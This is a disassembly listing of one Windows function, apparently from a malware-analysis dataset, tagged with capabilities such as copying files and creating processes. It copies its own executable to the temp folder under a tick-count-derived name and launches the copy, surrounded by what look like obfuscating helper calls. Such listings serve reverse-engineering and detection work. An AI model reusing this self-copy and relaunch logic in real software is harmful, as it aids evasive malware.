Function at 0x140003510
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x420
movaps xmmword [rsp + 0x410], xmm6
mov ebx, ecx
mov ecx, 0x1d
mov edx, 0xf2
mov r8d, 0x3d
call fcn.1400027a0
mov rsi, rax
mov ecx, 0xa98a2a45
call fcn.1400027a0
lea rdx, [rsp + 0x1d0]
mov qword [rsp + 0x20], rdx
lea rcx, [0x140004fe8]
mov r8, rsi
mov r9, rax
call fcn.1400027b0
mov rsi, rax
xorps xmm6, xmm6
movaps xmmword [rsp + 0x140], xmm6
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm6
movaps xmmword [rsp + 0x90], xmm6
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm6
movaps xmmword [rsp + 0x50], xmm6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
mov ecx, 0x100
mov edx, 0xfd
call fcn.1400027a0
lea rdx, [rsp + 0x50]
mov rcx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x100
mov rdx, rsi
mov r8, rsi
call fcn.1400027a0
lea rdx, [rsp + 0x210]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test bl, bl
je 0x1400037f5
mov rbx, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rbx
mov esi, eax
mov ecx, 7
call fcn.1400027a0
mov rcx, rax
mov eax, esi
xor edx, edx
div ecx
mov edi, eax
mov ecx, 0x3e8
mov edx, 0x42
call fcn.1400027a0
mov rcx, rax
mov eax, edi
xor edx, edx
div ecx
mov edi, edx
mov ecx, 1
mov edx, esi
mov r8d, esi
call fcn.1400027a0
add edi, eax
call rbx
mov ebx, eax
mov ecx, 3
mov edx, 0x5f
mov r9d, 0x3d
mov r8d, esi
call fcn.1400027a0
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov ebx, eax
mov ecx, 0x64
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.1400027a0
mov rcx, rax
mov eax, ebx
xor edx, edx
div ecx
mov ebx, edx
mov ecx, 1
mov edx, 0x4d
call fcn.1400027a0
add ebx, eax
mov edx, 0x93
mov rcx, rbx
call fcn.1400027a0
mov rbx, rax
mov edx, 0x35
mov rcx, rdi
call fcn.1400027a0
mov dword [rsp + 0x20], eax
lea rdi, [rsp + 0x310]
lea rdx, [rsp + 0x1d0]
lea r8, [rsp + 0x210]
mov rcx, rdi
mov r9d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8d, 0xa4849f
xor ecx, ecx
mov edx, esi
mov r9d, esi
call fcn.1400027a0
lea rcx, [rsp + 0x50]
mov rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_CopyFileA]
movaps xmmword [rsp + 0x1a0], xmm6
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm6
movaps xmmword [rsp + 0x170], xmm6
movaps xmmword [rsp + 0x160], xmm6
movaps xmmword [rsp + 0x150], xmm6
mov qword [rsp + 0x1b0], 0
mov ecx, 0x68
mov edx, esi
call fcn.1400027a0
mov dword [rsp + 0x150], eax
mov qword [rsp + 0x160], 0
mov edx, 0xe6
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.1400027a0
mov ecx, eax
mov edx, esi
mov r8d, esi
call fcn.1400027a0
lea rcx, [rsp + 0x1b8]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x40], rcx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
lea rdx, str._c___Se
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x140003864
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [0x1400061bc], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [0x1400061ac], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [0x14000619c], xmm0
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [0x14000618c], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movaps xmm2, xmmword [rsp + 0x70]
movaps xmm3, xmmword [rsp + 0x80]
movups xmmword [0x14000617c], xmm3
movups xmmword [0x14000616c], xmm2
movups xmmword [0x14000615c], xmm1
movups xmmword [0x14000614c], xmm0
movaps xmm6, xmmword [rsp + 0x410]
add rsp, 0x420
pop rbx
pop rdi
pop rsi
ret